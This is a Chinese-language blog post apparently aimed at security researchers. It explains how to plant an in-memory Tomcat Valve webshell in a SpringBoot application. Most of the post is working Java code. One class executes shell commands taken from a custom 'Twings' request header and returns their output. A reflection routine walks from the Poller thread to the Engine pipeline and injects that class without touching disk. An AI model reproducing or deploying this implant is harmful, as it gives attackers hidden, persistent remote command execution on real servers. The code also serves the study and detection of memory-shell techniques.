前言
新的Tomcat内存马玩法。
环境
环境为SpringBoot。
Valve
Valve存放在所属容器的pipeline中,在Filter执行之前被调用,并通过getNext().invoke()的方式进行链式调用。
下面这张调用栈图就可以清晰地看出来Filter链的调用就是Valve链中的StandardWrapperValve实现的:
一般项目可以通过server.xml在Tomcat中配置自定义Valve,而SpringBoot提供了定制器类来实现添加Valve这个功能:
@Component
public class MyCustomize implements WebServerFactoryCustomizer<TomcatServletWebServerFactory> {
@Override
public void customize(TomcatServletWebServerFactory factory) {
factory.addEngineValves(new MyValve());
}
}
给自定义Valve下一个断点,就可以看到线程从接收请求到找到该自定义Valve执行的具体流程:
跟踪一下代码,可以看到获取并执行第一个Valve的代码位于CoyoteAdapter类中:
connector.getService().getContainer().getPipeline().getFirst().invoke(
request, response);
换句话说就是我们可以从NioEndpoint出发,一步步找到这里的pipeline并添加一个Valve Shell进去。
Valve内存马
调试一下,根据上面的Valve执行函数调用栈,我们可以从NioEndpoint中找到Http11NioProtocol对象:
该对象的adapter属性中就存放了我们要找的CoyoteAdapter对象:
接下来就是按照connector.getService().getContainer().getPipeline().getFirst()的调用顺序,就可以找到我们的自定义的Valve了:
理清了内存马注入思路,接下来就是把自定义Valve删掉,然后写代码注入Valve内存马了,需要注意的一点是由于我们没有添加自定义Valve,此时Engine的pipeline中是空的,其getFirst函数会返回一个缺省状态下的Valve:
@Override
public Valve getFirst() {
if (first != null) {
return first;
}
return basic;
}
其实就是我们在调用栈中看到的StandardEngineValve,为了保证后续处理流程的顺利进行,我们还需要给Valve Shell设置好它的下一个Valve,这里可以直接使用StandardPipeline类中的addValve函数来添加。
首先写一个简单的Valve Shell:
class ValveShell extends ValveBase {
@Override
public void invoke(org.apache.catalina.connector.Request request, org.apache.catalina.connector.Response response) throws IOException, ServletException {
String[] cmd = new String[]{"cmd.exe", "/c", request.getHeader("Twings")};
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
response.getWriter().write(new String(result));
next.invoke(request, response);
}
}
然后调用addValve添加进去:
try {
Field f = ThreadGroup.class.getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[])f.get(Thread.currentThread().getThreadGroup());
NioEndpoint nioEndpoint = null;
for (Thread thread: threads) {
if (thread.getName().contains("http") && thread.getName().contains("Poller")) {
f = Thread.class.getDeclaredField("target");
f.setAccessible(true);
Object pollor = f.get(thread);
f = pollor.getClass().getDeclaredField("this$0");
f.setAccessible(true);
nioEndpoint = (NioEndpoint)f.get(pollor);
break;
}
}
if (nioEndpoint == null) {
return;
}
AbstractEndpoint.Handler<?> handler = nioEndpoint.getHandler();
f = handler.getClass().getDeclaredField("proto");
f.setAccessible(true);
Http11NioProtocol http11NioProtocol = (Http11NioProtocol)f.get(handler);
CoyoteAdapter coyoteAdapter = (CoyoteAdapter)http11NioProtocol.getAdapter();
f = coyoteAdapter.getClass().getDeclaredField("connector");
f.setAccessible(true);
Connector connector = (Connector)f.get(coyoteAdapter);
Pipeline pipeline = connector.getService().getContainer().getPipeline();
if (pipeline == null || pipeline.getFirst() instanceof ValveShell) {
return;
}
pipeline.addValve(new ValveShell());
}catch (Exception e) {
// pass
}
成功注入:
参考
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!